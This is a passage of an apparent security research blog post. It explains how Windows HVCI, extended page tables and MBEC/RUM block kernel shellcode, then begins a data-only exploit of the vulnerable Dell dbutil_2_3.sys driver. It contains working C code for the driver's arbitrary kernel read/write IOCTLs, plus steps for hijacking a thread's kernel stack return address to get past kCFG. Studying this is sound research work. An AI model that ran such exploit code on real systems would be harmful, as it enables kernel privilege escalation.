  <li>Overwrite a function pointer (<code class="language-plaintext highlighter-rouge">nt!HalDispatchTable + 0x8</code> is a common method) with the address of your payload and trigger the function pointer to gain code execution.</li>
</ol>

<p>HVCI is able to combat this because of the fact that a PTE is “no longer the source of truth” for what permissions that memory page <em>actually</em> has. Let’s look at this in detail.</p>

<p>As we know, <code class="language-plaintext highlighter-rouge">KUSER_SHARED_DATA + 0x800</code> is a common code cave abused by adversaries (although this is not possible in <a href="https://connormcgarr.github.io/kuser-shared-data-changes-win-11/">future builds</a> of Windows 11). Let’s see if we can abuse it with HVCI enabled.</p>

<blockquote>
  <p>Note that using Hyper-V it is possible to enable HVCI while <em>also</em> disabling Secure Boot. Secure Boot must be disabled for kernel debugging. After disabling Secure Boot we can then enable HVCI, which can be found in the Windows Security settings under <code class="language-plaintext highlighter-rouge">Core Isolation</code> -&gt; <code class="language-plaintext highlighter-rouge">Memory Integrity</code>. <code class="language-plaintext highlighter-rouge">Memory Integrity</code> is HVCI.</p>
</blockquote>

<p><img src="/images/HVCI9.png" alt="" /></p>

<p>Let’s then manually corrupt the PTE of <code class="language-plaintext highlighter-rouge">0xFFFFF78000000000 + 0x800</code> to make this page readable/writable/executable (RWX).</p>

<p><img src="/images/HVCI10.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">0xFFFFF78000000000 + 0x800</code> should now be fully readable, writable, and executable. This page is empty (doesn’t contain any code) so let’s write some NOP instructions to this page as a proof-of-concept. When <code class="language-plaintext highlighter-rouge">0xFFFFF78000000000 + 0x800</code> is executed, the NOP instructions should be dispatched.</p>

<p><img src="/images/HVCI11.png" alt="" /></p>

<p>We then can load this address into RIP to queue it for execution, which should execute our NOP instructions.</p>

<p><img src="/images/HVCI12.png" alt="" /></p>

<p>The expected outcome, however, is not what we intend. As we can see, executing the NOPs crashes the system. This is even in the case of us explicitly marking the page as KRWX. Why is this? This is due to HVCI! Since HVCI doesn’t allow RAM to be RWX, the physical page backing <code class="language-plaintext highlighter-rouge">KUSER_SHARED_DATA + 0x800</code> is “managed” by the EPTE (meaning the EPTEs’ definition of the physical page is the “root of trust”). Since the EPTE is managed by the hypervisor - the original memory allocation of read/write in <code class="language-plaintext highlighter-rouge">KUSER_SHARED_DATA + 0x800</code> is what this page is - even though we marked the PTE (in VTL 0) as KRWX! Remember - EPTEs are “the root of trust” in this case - and they enforce their permissions on the page - regardless of what the PTE says. The result is us trying to execute code which looks executable in the eyes of the OS (in VTL 0), because the PTE says so - but in fact, the page is not executable. Therefore we get an access violation due to the fact we are attempting to execute memory which isn’t actually executable! This is because the hypervisor’s “view” of memory, managed by the EPTEs, trumps the view our VTL 0 operating system has - which instead relies on “traditional” PTEs.</p>

<p>This is all fine and dandy, but what about exploits that allocate RWX user-mode code, write shellcode that will be executed in the kernel into the user-mode allocation, and then use a kernel read/write primitive, similarly to the <a href="https://connormcgarr.github.io/pte-overwrites/">first example in this blog post</a> to corrupt the PTE of the user-mode page to mark it as a kernel-mode page? If this were allowed to happen - as we are only manipulating the <code class="language-plaintext highlighter-rouge">U/S</code> bit and not manipulating the executable bits (NX) - this would violate HVCI in a severe way - as we now have fully-executable code in the kernel that we can control the contents of.</p>

<p>Practically, an attacker would start by allocating some user-mode memory (via <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> or similar APIs/C-runtime functions). The attacker marks this page as readable/writable/executable. The attacker would then write some shellcode into this allocation (usually kernel exploits use token-stealing shellcode, but other times an attacker may want to use something else). The key here to remember is that the memory is currently sitting in <em>user mode</em>.</p>

<p>This allocation is located at <code class="language-plaintext highlighter-rouge">0x1ad0000</code> in our example (<code class="language-plaintext highlighter-rouge">U</code> in the PTE stands for a <em>user-mode</em> page).</p>

<p><img src="/images/HVCI13.png" alt="" /></p>

<p>Using a kernel vulnerability, an attacker would arbitrarily read memory in kernel mode in order to resolve the PTE that corresponds to this user-mode shellcode located at <code class="language-plaintext highlighter-rouge">0x1ad0000</code>. Using the kernel vulnerability, an attacker could corrupt the PTE bits to tell the memory manager that this page is now a <em>kernel-mode</em> page (represented by the letter <code class="language-plaintext highlighter-rouge">K</code>).</p>

<p><img src="/images/HVCI14.png" alt="" /></p>

<p>Lastly, using the vulnerability again, the attacker overwrites a function pointer in kernel mode that, when executed, will actually execute our user-mode code.</p>

<p><img src="/images/HVCI15.png" alt="" /></p>

<p>Now you may be thinking - “Connor, you just told me that the kernel doesn’t allow RWX memory with HVCI enabled? You just executed RWX memory in the kernel! Explain yourself!”.</p>

<p>Let’s first start off by understanding that all user-mode pages are represented as RWX within the EPTEs - even with HVCI enabled. After all, HVCI is there to prevent unsigned-code from being executed in the <em>kernel</em>. You may also be thinking - “Connor, doesn’t that violate the basic principle of DEP in user-mode?”. In this case, no it doesn’t. Recall that earlier in this blog post we said the following:</p>

<blockquote>
  <p>(we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).</p>
</blockquote>

<p>Let’s talk about that now.</p>

<p>Remember that HVCI is used to ensure there is no kernel-mode RWX memory. So, even though the EPTE says a user-mode page is RWX, the PTE (for a user-mode page) will enforce DEP by marking data pages as non-executable. This non-executable permission on the PTE will enforce the NX permission. Recall that we said EPTEs <em>can</em> “trump” PTEs - we didn’t say they <em>always</em> do this in 100 percent of cases. A case where the PTE is used, instead needing to “go” to the EPTE, would be DEP. If a given page is <em>already</em> marked as non-executable in the PTE, why would the EPTE need to be checked? The PTE itself would prevent execution of code in this page, it would be redundant to check it again in the EPTE. Instead, an example of when the EPTE is checked if a PTE is marked as executable. The EPTE is checked to <em>ensure</em> that page is <em>actually</em> executable. The PTE is the first line of defense. If something “gets around the PTE” (e.g. a page is executable) the CPU will check the EPTE to ensure the page <em>actually</em> is executable. This is why the EPTEs mark all user-mode pages as RWX, because the PTE itself already enforces DEP for the user-mode address space.</p>

<p>The EPTE structure doesn’t have a <code class="language-plaintext highlighter-rouge">U/S</code> bit and, therefore, relies on the current privilege level (CPL) of a processor executing code to enforce if code should be executed as kernel mode or user mode. The CPU, in this case, will rely on the standard page table entries to determine what the CPL of the code segment should be when code is executing - meaning an attacker can take advantage of the fact that user-mode pages are marked as RWX, by default, in the EPTEs, and then flip the <code class="language-plaintext highlighter-rouge">U/S</code> bit to a supervisor (kernel) page. The CPU will then execute the code as kernel mode.</p>

<p>This means that the only thing to enforce the kernel/user boundary (for code execution purposes) is the CPU (via SMEP). SMEP, as we know, essentially doesn’t allow user-mode code execution <em>from</em> the kernel. So, to get around this, we can use PTE corruption (as shown in my previously-linked blog on PTE overwrites) to mark a user-mode page as a kernel-mode one. When the kernel now goes to execute our shellcode it will “recognize” the shellcode page (technically in the user-mode address space) as a kernel-mode page. EPTEs don’t have a “bit” to define if a given page is kernel or user, so it relies on the already existing SMEP technology to enforce this - which uses “normal” PTEs to determine if a given page is a kernel-mode or user-mode page. Since the EPTEs are only looking at the executable permissions, and <em>not</em> a <code class="language-plaintext highlighter-rouge">U/S</code> bit - this means the “old” primitive of “tricking” the CPU into executing a “fake” kernel-mode page exists - as EPTEs still rely on the CPU to enforce this boundary. So when a given user-mode page is being executed, the EPTEs assume this is a user-mode page - and will gladly execute it. The CPU, however, has it’s code segment executing in ring 0 (kernel mode) because the PTE of the page was corrupted to mark it as a “kernel-mode” page (a la the “<code class="language-plaintext highlighter-rouge">U/S</code> SMEP bypass”).</p>

<p>To compensate for this, Intel has a hardware solution known as <em>Mode-Based Execution Control</em>, or MBEC. For CPUs that cannot support MBEC Microsoft has its own emulation of MBEC called <em>Restricted User Mode</em>, or RUM.</p>

<p>I won’t get into the nitty-gritty details of the nuanced differences between RUM and MBEC, but these are solutions which mitigate the exact scenario I just mentioned. Essentially what happens is that anytime execution is in the kernel on Windows, <em>all</em> of the user-mode pages as non-executable. Here is how this would look (please note that the EPTE “bits” are just “psuedo” EPTE bits, and are not indicative of what the EPTE bits actually look like).</p>

<p>First, the token-stealing payload is allocated in user-mode as RWX. The PTE is then corrupted to mark the shellcode page as a kernel-mode page.</p>

<p><img src="/images/HVCI16.png" alt="" /></p>

<p>Then, as we know, the function pointer is overwritten and execution returns to user-mode (but the code is executed in context of the kernel).</p>

<p><img src="/images/HVCI17.png" alt="" /></p>

<p>Notice what happens above. At the EPTE level (this doesn’t occur at the PTE level) the page containing the shellcode is marked as non-executable. Although the diagram shows us clearing the execute bit, the way the user-mode pages are marked as non-executable is actually done by adding an <em>extra</em> bit in the EPTE structure that allows the EPTE for the user-mode page to be marked as non-executable while execution is residing in the kernel (e.g. the code segment is “in ring 0”). <a href="https://rayanfam.com/topics/hypervisor-from-scratch-part-4/">This bit is a member</a> of the EPTE structure that we can refer to as “<code class="language-plaintext highlighter-rouge">ExecuteForUserMode</code>”.</p>

<p>This is an efficient way to mark user-mode code pages as non-executable. When kernel-mode code execution occurs, all of the EPTEs for the user-mode pages are simply just marked as non-executable.</p>

<p><img src="/images/HVCI18.png" alt="" /></p>

<p>MBEC is really great - but what about computers which support HVCI but <em>don’t</em> support MBEC (which is a hardware technology)? For these cases Microsoft implemented RUM (Restricted User Mode). RUM achieves the same thing as MBEC, but in a different way. RUM essentially forces the hypervisor to keep a <em>second</em> set of EPTEs - with this “new” set having all user-mode pages marked as non-executable. So, essentially using the same method as loading a new PML4 address into CR3 for “normal” paging - the hypervisor can load the “second” set of extended page tables (with this “new/second” set marking all user-mode as non-executable) into use. This means each time execution transitions from kernel-mode to user-mode, the paging structures are swapped out - which increases the overhead of the system. This is why MBEC is less strenuous - as it can just mark a bit in the EPTEs. However, when MBEC is <em>not</em> supported - the EPTEs don’t have this <code class="language-plaintext highlighter-rouge">ExecuteForUserMode</code> bit - and rely on the second set of EPTEs.</p>

<p>At this point we have spent a lot of time talking about HVCI, MBEC, and RUM. We can come to the following conclusions now:</p>
<ol>
  <li>PTE manipulation to achieve unsigned-code execution is impossible</li>
  <li>Any unsigned-code execution in the kernel is impossible</li>
</ol>

<p>Knowing this, a different approach is needed. Let’s talk about now how we can use an arbitrary read/write primitive to our advantage to get around HVCI, MBEC/RUM, without being limited to <em>only</em> hot-swapping tokens for privilege escalation.</p>

<h2 id="from-readwrite-to-arbitrary-kernel-mode-function-invocation">From Read/Write To Arbitrary Kernel-Mode Function Invocation</h2>
<p>I did a <a href="https://connormcgarr.github.io/cve-2020-21551-sploit/">writeup</a> of a recent Dell BIOS driver vulnerability awhile ago, where I achieved unsigned-code execution in the kernel via PTE manipulation. Afterwards I tweeted out that readers should take into account that this exploit doesn’t consider VBS/HVCI. I eventually received a <a href="https://twitter.com/d_olex/status/1393264600515153921">response</a> from <a href="https://twitter.com/d_olex">@d_olex</a> on using a different method to take advantage of a kernel-mode vulnerability, with HVCI enabled, by essentially putting together your own kernel-mode API calls.</p>

<p><img src="/images/HVCI19.png" alt="" /></p>

<p>This was about a year ago - and I have been “chewing” on this idea for awhile. Dmytro later released a <a href="https://github.com/Cr4sh/KernelForge">library</a> outlining this concept.</p>

<p>This technique is the basis for how we will “get around” VBS/HVCI in this blog. We can essentially instrument a kernel-mode ROP chain that will allow us to call into any kernel-mode API we wish (while redirecting execution in a way that doesn’t trigger Kernel Control Flow Guard, or kCFG).</p>

<p>Why might we want to do this - in-lieu of the inability to execute shellcode, as a result of HVCI? The beauty of executing unsigned-code is the fact that we aren’t just limited to something like token stealing. Shellcode also provides us a way to execute arbitrary Windows API functions, or further corrupt memory. Think about something like a Cobalt Strike Beacon agent - it leverages Windows API functions for network communications, etc. - and is foundational to most malware.</p>

<p>Although with HVCI we can’t invoke our own shellcode in the kernel - it is still possible to “emulate” what kernel-mode shellcode may intend to do, which is calling arbitrary functions in kernel mode. Here is how we can achieve this:</p>

<ol>
  <li>In our exploit, we can create a “dummy” thread in a suspended state via <code class="language-plaintext highlighter-rouge">CreateThread</code>.</li>
  <li>Assuming our exploit is running from a “normal” process (running in medium integrity), we can use <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> to leak the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object associated with the suspended thread. From here we can leak <code class="language-plaintext highlighter-rouge">KTHREAD.StackBase</code> - which would give us the address of the kernel-mode stack in order to write to it (each thread has its own stack, and stack control is a must for a ROP chain)</li>
  <li>We can locate a return address on the stack and corrupt it with our first ROP gadget, using our kernel arbitrary write vulnerability (this gets around kCFG, or Control Flow Guard in the kernel, since kCFG doesn’t inspect <em>backwards</em> edge control-flow transfers like <code class="language-plaintext highlighter-rouge">ret</code>. However, in the future when kCET (Control-Flow Enforcement Technology in the Windows kernel) is mainstream on Windows systems, ROP will not work - and this exploit technique will be obsolete).</li>
  <li>We then can use our ROP chain in order to call an arbitrary kernel-mode API. After we have called our intended kernel mode API(s), we then end our ROP chain with a call to the kernel-mode function <code class="language-plaintext highlighter-rouge">nt!ZwTerminateThread</code> - which allows us to “gracefully” exit our “dummy” thread without needing to use ROP to restore the execution we hijacked.</li>
  <li>We then call <code class="language-plaintext highlighter-rouge">ResumeThread</code> on the suspended thread in order to kick off execution.</li>
</ol>

<p>Again - I just want to note. This is <em>not</em> an “HVCI bypass” post. HVCI doesn’t <em>not</em> suffer from any vulnerability that this blog post intends to exploit. Instead, this blog shows an alternative method of exploitation that allows us to call any kernel-mode API <em>without</em> triggering HVCI.</p>

<p>Before continuing on - let’s just briefly touch on why we are opting to overwrite a return address on the stack instead of a function pointer - as many of my blogs have done this in the past. As we saw with my previous <a href="https://connormcgarr.github.io/type-confusion-part-2/">browser exploitation blog series</a>, CFG is a mitigation that is pretty mainstream on Windows systems. This is true since Windows 10 RS2 - when it came to the kernel. kCFG is present on most systems today - and it is an interesting topic. The CFG bitmap consists of all “valid” functions used in control-flow transfers. The CFG dispatch functions check this bitmap when an indirect-function call happens to ensure that a function pointer is not overwritten with a malicious function. The CFG bitmap (in user mode) is protected by DEP - meaning the bitmap is read-only, so an attacker cannot modify it (the bitmap is stored in <code class="language-plaintext highlighter-rouge">ntdll!LdrSystemDllInitBlock+0x8</code>). We can use our kernel debugger to switch our current process to a user-mode process which loads <code class="language-plaintext highlighter-rouge">ntdll.dll</code> to verify this via the PTE.</p>

<p><img src="/images/HVCI19aa.png" alt="" /></p>

<p>This means an attacker would have to first bypass CFG (in context of a binary exploit which hijacks control-flow) in order to call an API like <code class="language-plaintext highlighter-rouge">VirtualProtect</code> to mark this page as writable. Since the permissions are enforced by DEP - the kernel is the security boundary which protects the CFG bitmap, as the PTE (stored in kernel mode) describes the bitmap as read-only. However, when talking about kCFG (in the kernel) there would be nothing that protects the bitmap - since historically the kernel was the highest security boundary. If an adversary has an arbitrary kernel read/write primitive - an adversary could just modify the kCFG bitmap to make <em>everything</em> a valid call target, since the bitmap is stored in kernel mode. This isn’t good, and means we need an “immutable” boundary to protect this bitmap. Recall, however, that with HVCI there is a <em>higher</em> security boundary - the hypervisor!</p>

<p>kCFG is only <em>fully</em> enabled when HVCI is enabled. SLAT is used to protect the kCFG bitmap. As we can see below, when we attempt to overwrite the bitmap, we get an access violation. This is due to the fact that although the PTE for the kCFG bitmap says it is writable, the EPTE can enforce that this page is <em>not</em> writable - and therefore, with kCFG, non-modifiable by an adversary.</p>

<p><img src="/images/HVCI19a.png" alt="" /></p>

<p>So, since we cannot just modify the bitmap to allow us to call anywhere in the address space, and since kCFG will protect function pointers (like <code class="language-plaintext highlighter-rouge">nt!HalDispatchTable + 0x8</code>) and <em>not</em> return addresses (as we saw in the browser exploitation series) - we can simply overwrite a return address to hijack control flow. As mentioned previously, kCET will mitigate this - but looking at my current Windows 11 VM (which has a CPU that can support kCET), kCET is not enabled. This can be checked via <code class="language-plaintext highlighter-rouge">nt!KeIsKernelCetEnabled</code> and <code class="language-plaintext highlighter-rouge">nt!KeIsKernelCetAuditModeEnabled</code> (both return a boolean - which is false currently).</p>

<p><img src="/images/HVCI19aaa.png" alt="" /></p>

<p>Now that we have talked about control-flow hijacking, let’s see how this looks practically! For this blog post we will be using the previous Dell BIOS driver exploit I talked about to demonstrate this. To understand how the arbitrary read/write primitive works, I highly recommend you read that blog first. To summarize briefly, there are IOCTLs within the driver that allow us to read one kernel-mode QWORD at a time and to write one QWORD at a time, from user mode, into kernel mode.</p>

<h2 id="dummy-thread-creation-to-kthread-leak">“Dummy Thread” Creation to <code class="language-plaintext highlighter-rouge">KTHREAD</code> Leak</h2>
<p>First, our exploit begins by defining some IOCTL codes and some NTSTATUS codes.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//</span>
<span class="c1">// Vulnerable IOCTL codes</span>
<span class="c1">//</span>
<span class="cp">#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4
</span>
<span class="c1">//</span>
<span class="c1">// NTSTATUS codes</span>
<span class="c1">//</span>
<span class="cp">#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_SUCCESS 0x00000000
</span></code></pre></div></div>
<p>Let’s also outline our - <code class="language-plaintext highlighter-rouge">read64()</code> and <code class="language-plaintext highlighter-rouge">write64()</code>. These functions give us an arbitrary read/write primitive (I won’t expand on these. See <a href="https://connormcgarr.github.io/cve-2020-21551-sploit/">the blog post</a> related to the vulnerability for more information.</p>

<p><img src="/images/HVCI20.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">read64()</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG64</span> <span class="nf">read64</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">inHandle</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">WHAT</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Buffer to send to the driver (read primitive)</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">inBuf</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

	<span class="c1">//</span>
	<span class="c1">// Values to send</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">one</span> <span class="o">=</span> <span class="mh">0x4141414141414141</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">two</span> <span class="o">=</span> <span class="n">WHAT</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">three</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">four</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Assign the values</span>
	<span class="c1">//</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">one</span><span class="p">;</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">two</span><span class="p">;</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">three</span><span class="p">;</span>
	<span class="n">inBuf</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">four</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Interact with the driver</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">bytesReturned</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">BOOL</span> <span class="n">interact</span> <span class="o">=</span> <span class="n">DeviceIoControl</span><span class="p">(</span>
		<span class="n">inHandle</span><span class="p">,</span>
		<span class="n">IOCTL_READ_CODE</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">inBuf</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">inBuf</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">bytesReturned</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">interact</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>

	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return the QWORD</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">inBuf</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Close the handle before exiting</span>
	<span class="c1">//</span>
	<span class="n">CloseHandle</span><span class="p">(</span>
		<span class="n">inHandle</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">write64()</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">write64</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">inHandle</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">WHERE</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">WHAT</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Buffer to send to the driver (write primitive)</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">inBuf1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

	<span class="c1">//</span>
	<span class="c1">// Values to send</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">one1</span> <span class="o">=</span> <span class="mh">0x4141414141414141</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">two1</span> <span class="o">=</span> <span class="n">WHERE</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">three1</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span><span class="p">;</span>
	<span class="n">ULONG64</span> <span class="n">four1</span> <span class="o">=</span> <span class="n">WHAT</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Assign the values</span>
	<span class="c1">//</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">one1</span><span class="p">;</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">two1</span><span class="p">;</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">three1</span><span class="p">;</span>
	<span class="n">inBuf1</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">four1</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Interact with the driver</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">bytesReturned1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">BOOL</span> <span class="n">interact</span> <span class="o">=</span> <span class="n">DeviceIoControl</span><span class="p">(</span>
		<span class="n">inHandle</span><span class="p">,</span>
		<span class="n">IOCTL_WRITE_CODE</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">inBuf1</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf1</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">inBuf1</span><span class="p">,</span>
		<span class="k">sizeof</span><span class="p">(</span><span class="n">inBuf1</span><span class="p">),</span>
		<span class="o">&amp;</span><span class="n">bytesReturned1</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">interact</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>

	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return TRUE</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Close the handle before exiting</span>
	<span class="c1">//</span>
	<span class="n">CloseHandle</span><span class="p">(</span>
		<span class="n">inHandle</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Return FALSE (arbitrary write failed)</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Now that we have our primitives established, we start off by obtaining a handle to the driver in order to communicate with it. We will need to supply this value for our read/write primitives.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HANDLE</span> <span class="nf">getHandle</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Obtain a handle to the driver</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">driverHandle</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span>
		<span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">DBUtil_2_3"</span><span class="p">,</span>
		<span class="n">FILE_SHARE_DELETE</span> <span class="o">|</span> <span class="n">FILE_SHARE_READ</span> <span class="o">|</span> <span class="n">FILE_SHARE_WRITE</span><span class="p">,</span>
		<span class="mh">0x0</span><span class="p">,</span>
		<span class="nb">NULL</span><span class="p">,</span>
		<span class="n">OPEN_EXISTING</span><span class="p">,</span>
		<span class="mh">0x0</span><span class="p">,</span>
		<span class="nb">NULL</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">driverHandle</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Return the driver handle</span>
		<span class="c1">//</span>
		<span class="k">return</span> <span class="n">driverHandle</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an invalid handle</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can invoke this function in <code class="language-plaintext highlighter-rouge">main()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Invoke getHandle() to get a handle to dbutil_2_3.sys</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">driverHandle</span> <span class="o">=</span> <span class="n">getHandle</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">driverHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">driverHandle</span><span class="p">);</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

